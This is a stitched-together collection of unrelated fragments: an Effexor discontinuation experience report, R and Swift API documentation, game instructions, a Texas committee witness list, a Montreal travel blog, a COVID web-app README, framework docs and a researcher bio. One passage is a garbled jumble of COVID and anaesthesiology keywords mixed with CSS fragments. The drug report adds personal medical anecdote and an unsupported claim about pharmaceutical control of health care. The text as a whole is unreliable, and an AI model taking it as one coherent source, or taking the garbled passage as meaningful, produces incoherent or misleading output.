I was diagnosed as being manic-depressive and borderline schizophrenic a few years back, maybe 3 or 4. I have been taking various mood stabilizers since then (Lithium, Trileptal, Tegretol, Depakote, Geodon, everything) but always have been on Effexor. Most of the time when I'm off it, if I have skipped a dose, I get the crazed sensation of being completely off the rocker. It causes an insane mania and tingling, electric pulsating sensations throughout the body. It makes it damn hard to sleep. I sweat and sometimes I feel worse than before I even took the drug.
I don't see how it is legal but it just shows how the pharmaceutical companies control the health system.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


dot-get_Tv.Rd
Calculate virtual temperature
.get_Tv(Temp, p, P, epsilon, unitless)
| Temp | Temperature in Kelvin |
|---|---|
| p | water vapour pressure in kPa |
| P | Atmospheric pressure in kPa |
| epsilon | ratio of water to air molar masses (unitless) |
| unitless | Logical. Should |
Value in K of class units
$$T_\mathrm{v} = T / [1 - (1 - \epsilon) (p / P)]$$
Eq. 2.35 in Monteith & Unsworth (2013)
| Symbol | R | |||
| Description | ||||
| Units | Default | |||
| \(\epsilon\) | epsilon | |||
| ratio of water to air molar masses | unitless | 0.622 | ||
| \(p\) | p | |||
| water vapour pressure | kPa | calculated | ||
| \(P\) | P | |||
| atmospheric pressure | kPa | 101.3246 |
Monteith JL, Unsworth MH. 2013. Principles of Environmental Physics. 4th edition. Academic Press, London.


Each time the frog plays, a number will be played shortly after. You then have to press that number, either on-screen, with the numbers across your keyboard from 1-9 or using the number pad to the right side of your keyboard however, fly noises will randomly play. You get 2 points for hitting the frog and 1 for missing or leaving it too long.


sessions
Classes
AbstractFacade
AgenciesFacade
BusesFacade
BusTripsFacade
MailsFacade
OperationsFacade
ReservationsFacade
TripsFacade
UsersFacade
UsersMenuFacade


form control is valid: {{ reactiveForm['controls']?.code?.valid }}
form control is touched: {{ reactiveForm['controls']?.code?.touched }}
form control value:
{{ reactiveForm.value?.code }}


WITNESS LIST Civil Practices Committee April 20, 2005-2:00P HB 938 For: Branson, Richard (Physician Assistants Caring for Texas (PACT)) Lee, Gordon K. (Self) Against: Bighouse, Julie (TAPA) Harvey, Jay (Texas Trial Lawyers Assoc.) HB 974 For: Faulkner, Richard (Self) Gammage, Robert A. "Bob" (Self) McDonald, R. Sean (Self) HB 1577 For: Bighouse, Julie (TAPA) Branson, Richard (Physician Assistants Caring for Texas (PACT)) King, Tim (TAPA) Lee, Gordon K. (Self) HB 2550 For: Rial, Hamilton (State Bar of Texas) HB 2868 For: Jones, Kevin (Mothers Against Drunk Driving) London, Alice (Self) London, Jack (Self) Wendell, Ware (Texas Watch) On: Harvey, Jay (Texas Trial Lawyers Assoc.) Ross, Steve (Texans Standing Tall) HB 3410 For: Newton, Chris (Texas Petroleum Marketers & Convenience Store Association) Against: Harvey, Jay (TX Trial Lawyers Assn.) SB 644 For: Terrell, Jim (Tax Assessor Collector Assn.)


CardDetectionViewControllerDelegate
@objc
public protocol CardDetectionViewControllerDelegate : AnyObject
Card detection view controller delegate
Since
1.0.0-
Called when card detection succeeds
Since
1.0.0Declaration
Swift
@objc func cardDetectionViewController(_ viewController: CardDetectionViewController, didDetectCard image: CGImage, withSettings settings: CardDetectionSettings)
Parameters
viewController
View controller that detected the card
image
Image of the detected card straightened to fit the rectangle specified in settings
settings
Card detection settings
-
Called when card detection is cancelled
Since
1.0.0Declaration
Swift
@objc optional func cardDetectionViewControllerDidCancel(_ viewController: CardDetectionViewController)
Parameters
viewController
View controller that was used for card detection
-
Called when an image is straightened
Implement in your delegate to determine the image quality. By default the quality is determined by the sharpness of the image. However, sharpness detection is only available on iOS 13 and newer. If you wish to keep the sharpness detection and implement your own image quality scoring for iOS 12 and older return
nil
on iOS 13 and your score on iOS 12 and older.Since
1.3.0Declaration
Swift
@objc optional func qualityOfImage(_ image: CGImage) -> NSNumber?
Parameters
image
Image
Return Value
Score representing the quality of the image (higher score is better than lower)


COVID- anaesthesiologists {border-style px;} #ffffff;} respiratory infection patients contact polio Anaesthesiologists anaesthesiology px; {font-family font-size operating role transmission Access SARS acute bulbar care contributions control double; intensive management tracing Anaesth./j.bja...Adv Elsevier John Published anaesthesiologist border-color border-width disease patients. practice precautions set solid; {font-style {font-weight (â€") SARS, Snow airway anaesthesiology, better bold centre cholera cholera, clinical coronavirus courier; development droplet em; epidemics however, intubation medical poliomyelitis pt;} public remains research resource ventilation ventilation.


In high school I took Spanish, and I actually got decent at it (although I was slow at speaking). By sophomore year of high school, I was no longer good at it. Despite that fact, I was fully confident in my ability to be able to figure out French words since some of them had similar roots to Spanish ones. In my Spanish class, my teacher repeatedly told us about hostels and how she had stayed in them during her travels. I was intrigued then but had never been yet. I researched one and saw it was only about $15 USD a night, and at that point I was much more interested. Sleeping in a room with random people seemed somewhat intimidating, if only because I would have to convince other people to do it with me. Thankfully I was able to convince a few of my friends to join me in Montreal, and the dates were set.
This trip, Montreal, and the people I met there changed my life forever. I met people who were on months or even years long travels, something I could not even comprehend. I was intrigued and was questioning how on Earth they were pulling this off. Were they remote workers? Trust fund babies? Drug dealers? As it turns out, none of those. They were just normal people like you and me. One thing I noticed was that most of them were either European or Australian. They graduated from college and instead of diving head first into a career they were taking some time to live life. This was a concept that I had never even considered a remote possibility before. Maybe it was because of my socioeconomic status, maybe it was because I live in a country where a college education is prohibitively expensive, or maybe I am just not that creative. All I knew was that taking time to travel was something that I was definitely going to do from now on.
Not only did I interrogate these people, but I hung out with them and had the time of my life. I made some friendships that I still have today, and I found a whole new perspective on life. I honestly think that if everyone had the ability to travel, the world would be a much more kind and understanding place. We are indoctrinated from childhood that the people in other places are dangerous and want to hurt us, but I find this to be incredibly false. People are just people, they want the best for themselves and their families. No matter where you look in the world you will find bad people, but that does not mean we should automatically assume every place on the Earth we are not familiar with is an extremely dangerous warzone where we will get scammed and robbed, but I digress.
Okay back to Montreal. I had been to Canada before, specifically Toronto. It was always enjoyable and the people were always incredibly nice. There is one major difference between the two. In Toronto, when you go to a cafe you hear people talking. In Montreal, when you go to a cafe you hear people talking in french! I was, as one of my friends put it, lost in another culture. Although I could say all of two sentences properly in the language, I enjoyed going through Duolingo and learning utterly useless phrases. “The apple eats the boy” - Thanks Duolingo.
To recap, this was a trip that changed my outlook on life. I now knew that I had to travel around the world. I know that when I graduate my first focus is going to be paying back my student loans as soon as possible, which is the same as before. But now instead of saving money so I can buy a Nissan GTR as soon as possible, I am going to be saving as much as possible so one day I can live off of the interest while I travel the world meeting new people and seeing everything I possibly can. Maybe there will be room somewhere in there for a GTR, we’ll see.


Covid Tracking Web-app
www.covidmonitor.cc
This is a real-time data visualization flask web-app focused on COVID-19 cases in USA.
Most of the data were collected via API or web scraper from CDC, WHO and John Hopkins University.
This is mainly a visualization project which is made by Python, JavaScript, html, css.
This project is also embeded a LSTM model to predict trend of USA deaths. The prediction is updated daily based on previous 100 days' data, and stored in a Azure SQL database.
Check the analysis at jupyter notebook or the whole project at github.


Embedded
component is intended for displaying images and embedding optional web pages into the
screen.
Сomponent can be used to display an image from a file located in FileStorage.
Web Client allows image output from any files available to the Web Client block. Define the resource files directory
in cuba.web.resourcesRoot application property, and specify the name of the file
inside this directory for the Embedded
component.


Alastair Droop is a bioinformatician
and computational biologist working at
the University of Leeds. His
research involves the analysis of large next-generation datasets
for cancer research. He works for
the Leeds MRC
Medical Bioinformatics Centre, and has expertise in large data
analysis, R and Python.